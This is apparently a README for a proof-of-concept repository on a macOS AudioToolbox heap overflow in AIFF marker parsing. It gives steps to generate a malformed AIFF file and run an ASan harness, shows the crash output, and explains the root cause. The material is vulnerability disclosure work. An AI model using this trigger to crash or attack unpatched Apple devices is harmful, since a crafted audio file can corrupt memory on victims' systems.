What's in the repository?

A PoC for CVE-2026-64725. See the source code and the blog post for details.

How to reproduce?

Platforms

Found on macOS 26.4.1 (build 25E253; Darwin 25.4.0 (xnu-12377.101.15~1); Apple Silicon (T8103 / M1)).

Apple confirms that macOS/iOS/iPadOS < 26.6 are vulnerable.

PoC

1. Make sure your Mac is running the latest macOS

2. Make sure you have Python 3.6+ and clang installed

3. Clone the repo to your Mac

4. Generate a minimal malformed AIFF that triggers the signed-shift bug in int64_t AIFFAudioFile::GetMarkerList(uint32_t*, AudioFileMarkerList*, bool):

   cd poc/
   python3 gen_marker_oob_aiff.py
   

   or

   cd poc/
   make aiff
   

   As result, you should get marker_oob.aiff.

5. Build the minimal PoC harness with ASan:

   make 
   

   As result, you should get marker_oob_harness.

Run the PoC

./marker_oob_harness marker_oob.aiff

You should see something like

buf=0x619000001480 alloc=1000 bytes (room for 25 AudioFileMarker slots, 40 B each)
AddressSanitizer:DEADLYSIGNAL
=================================================================
==62449==ERROR: AddressSanitizer: BUS on unknown address (pc 0x0001929391d8 bp 0x00016b686390 sp 0x00016b686220 T0)
==62449==The signal is caused by a WRITE memory access.
==62449==Hint: this fault was caused by a dereference of a high value address (see register values below).  Disassemble the provided pc to learn which register was used.
    #0 0x0001929391d8 in AIFFAudioFile::GetMarkerList(unsigned int*, AudioFileMarkerList*, bool)+0x2e4 (AudioToolboxCore:arm64e+0x17b1d8)
    #1 0x0001927c6a1c in AudioFileGetProperty+0x70 (AudioToolboxCore:arm64e+0x8a1c)
    #2 0x000104778ca4 in main marker_oob_harness.c:59
    #3 0x00018f8a3da0 in start+0x1b4c (dyld:arm64e+0x1fda0)

==62449==Register values:
 x[0] = 0xa29319b2bf742f12   x[1] = 0x0000000000000000   x[2] = 0x0000000000000000   x[3] = 0x0000000000000008  
 x[4] = 0x0000000000000004   x[5] = 0xffffffffffffffff   x[6] = 0x0000000000000000   x[7] = 0x0000000000000001  
 x[8] = 0x0000000000000000   x[9] = 0x0000000000001917  x[10] = 0x0000000000000002  x[11] = 0x0000000000000000  
x[12] = 0x000000002d6d0c46  x[13] = 0x00000001fd0f3380  x[14] = 0x0000000000000000  x[15] = 0x0000000000000000  
x[16] = 0x000000016b686231  x[17] = 0x00000001fd0e6d78  x[18] = 0x0000000000000000  x[19] = 0x0000000000000001  
x[20] = 0x000000016b686420  x[21] = 0x0000615000000a80  x[22] = 0x0000000000000000  x[23] = 0x000000000000c8e6  
x[24] = 0x000000000000c8e8  x[25] = 0x00000000ffffe6e9  x[26] = 0x0000000000000004  x[27] = 0x000061900004000c  
x[28] = 0x0000000000000002     fp = 0x000000016b686390     lr = 0x00000001929391b8     sp = 0x000000016b686220  
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: BUS (AudioToolboxCore:arm64e+0x17b1d8) in AIFFAudioFile::GetMarkerList(unsigned int*, AudioFileMarkerList*, bool)+0x2e4
==62449==ABORTING
zsh: abort      ./marker_oob_harness marker_oob.aiff

What has happened?

The long story short:

1. marker_oob_harness opened marker_oob.aiff by calling the documented public API AudioFileOpenURL(...)

2. marker_oob_harness called calloc to allocate a fixed-length output buffer for markers (it's not the best practice, but it often happens in the real world; the safer GetMarkerListSize code pattern is discussed in "Safe cases" / "GetMarkerListSize → malloc(size) → GetMarkerList" below)

3. marker_oob_harness tried to get a list of markers by calling the documented public API AudioFileGetProperty(...) with inPropertyID=kAudioFilePropertyMarkerList. All arguments, including the output buffer size and the pointer to the buffer, were correct.

4. AudioFileGetProperty(...) called the undocumented API int64_t AIFFAudioFile::GetMarkerList(uint32_t*, AudioFileMarkerList*, bool) under the hood

5. int64_t AIFFAudioFile::GetMarkerList(uint32_t*, AudioFileMarkerList*, bool) misinterpreted the (correct!) output buffer size and writes bytes from marker_oob.aiff past the end of the buffer, so you saw the ASan crash message. The expected correct behavior would be to return a buffer-too-small error or something like that.

The number of bytes written past the end of the buffer depends on the file size. A malicious .aiff file can overflow any buffer of reasonable size if the file is big enough.

See the blog post for details.